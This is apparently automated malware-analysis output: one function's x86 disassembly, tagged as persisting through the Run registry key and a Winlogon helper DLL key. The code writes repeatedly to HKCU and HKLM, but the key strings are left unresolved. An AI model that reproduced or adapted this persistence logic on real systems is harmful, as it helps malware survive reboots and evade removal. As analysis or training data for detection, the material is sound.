Function at 0x515a34
Capabilities:
Persist via run registry key
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, 0x51f0d8
xor eax, eax
push ebp
push 0x515d6c
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x463bc0]
call fcn.00463cc0
mov dword [ebx], eax
mov edx, 0x80000001
mov eax, dword [ebx]
call fcn.00463d60
mov cl, 1
mov edx, 0x515d84
mov eax, dword [ebx]
call fcn.00463dc4
xor ecx, ecx
mov edx, 0x515db8
mov eax, dword [ebx]
call fcn.00464024
mov eax, dword [ebx]
call fcn.004038e4
mov dl, 1
mov eax, dword [0x463bc0]
call fcn.00463cc0
mov dword [ebx], eax
mov edx, 0x80000002
mov eax, dword [ebx]
call fcn.00463d60
mov cl, 1
mov edx, 0x515dcc
mov eax, dword [ebx]
call fcn.00463dc4
mov ecx, 1
mov edx, 0x515e10
mov eax, dword [ebx]
call fcn.00464024
mov eax, dword [ebx]
call fcn.00463d30
mov eax, dword [ebx]
call fcn.004038e4
mov dl, 1
mov eax, dword [0x463bc0]
call fcn.00463cc0
mov dword [ebx], eax
mov edx, 0x80000002
mov eax, dword [ebx]
call fcn.00463d60
mov cl, 1
mov edx, 0x515e24
mov eax, dword [ebx]
call fcn.00463dc4
xor ecx, ecx
mov edx, 0x515e5c
mov eax, dword [ebx]
call fcn.00464024
mov eax, dword [ebx]
call fcn.00463d30
mov eax, dword [ebx]
call fcn.004038e4
mov dl, 1
mov eax, dword [0x463bc0]
call fcn.00463cc0
mov dword [ebx], eax
mov edx, 0x80000002
mov eax, dword [ebx]
call fcn.00463d60
mov eax, dword [ebx]
mov byte [eax + 0xc], 1
mov cl, 1
mov edx, 0x515e78
mov eax, dword [ebx]
call fcn.00463dc4
mov edx, 0x515eb4
mov eax, dword [ebx]
call fcn.00463ee8
mov eax, dword [ebx]
call fcn.004038e4
mov dl, 1
mov eax, dword [0x463bc0]
call fcn.00463cc0
mov dword [ebx], eax
mov edx, 0x80000002
mov eax, dword [ebx]
call fcn.00463d60
mov eax, dword [ebx]
mov byte [eax + 0xc], 1
mov cl, 1
mov edx, 0x515ec0
mov eax, dword [ebx]
call fcn.00463dc4
mov edx, 0x515f20
mov eax, dword [ebx]
call fcn.00463ee8
mov eax, dword [ebx]
call fcn.004038e4
mov dl, 1
mov eax, dword [0x463bc0]
call fcn.00463cc0
mov dword [ebx], eax
mov edx, 0x80000002
mov eax, dword [ebx]
call fcn.00463d60
mov eax, dword [ebx]
mov byte [eax + 0xc], 1
mov cl, 1
mov edx, 0x515f34
mov eax, dword [ebx]
call fcn.00463dc4
mov edx, 0x515f20
mov eax, dword [ebx]
call fcn.00463ee8
mov eax, dword [ebx]
call fcn.004038e4
mov dl, 1
mov eax, dword [0x463bc0]
call fcn.00463cc0
mov dword [ebx], eax
mov edx, 0x80000001
mov eax, dword [ebx]
call fcn.00463d60
mov eax, dword [ebx]
mov byte [eax + 0xc], 1
mov cl, 1
mov edx, 0x515f94
mov eax, dword [ebx]
call fcn.00463dc4
mov ecx, 0x515fd4
mov edx, 0x515fec
mov eax, dword [ebx]
call fcn.00463f80
mov eax, dword [ebx]
call fcn.004038e4
mov dl, 1
mov eax, dword [0x463bc0]
call fcn.00463cc0
mov dword [ebx], eax
mov edx, 0x80000001
mov eax, dword [ebx]
call fcn.00463d60
mov eax, dword [ebx]
mov byte [eax + 0xc], 1
mov cl, 1
mov edx, 0x515ffc
mov eax, dword [ebx]
call fcn.00463dc4
xor ecx, ecx
mov edx, 0x516044
mov eax, dword [ebx]
call fcn.00464024
mov eax, dword [ebx]
call fcn.004038e4
mov dl, 1
mov eax, dword [0x463bc0]
call fcn.00463cc0
mov dword [ebx], eax
mov edx, 0x80000001
mov eax, dword [ebx]
call fcn.00463d60
mov eax, dword [ebx]
mov byte [eax + 0xc], 1
mov cl, 1
mov edx, 0x516060
mov eax, dword [ebx]
call fcn.00463dc4
mov edx, 0x5160a4
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x5160c0
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x5160d8
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x5160f8
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x516114
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x516128
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x516140
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x516160
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x516180
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x516190
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x5161a8
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x5161c4
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x5161dc
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x5161f0
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x516200
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x516214
mov eax, dword [ebx]
call fcn.00463ee8
mov edx, 0x51622c
mov eax, dword [ebx]
call fcn.00463ee8
mov eax, dword [ebx]
call fcn.004038e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x515d76
pop edi
pop esi
pop ebx
pop ebp
ret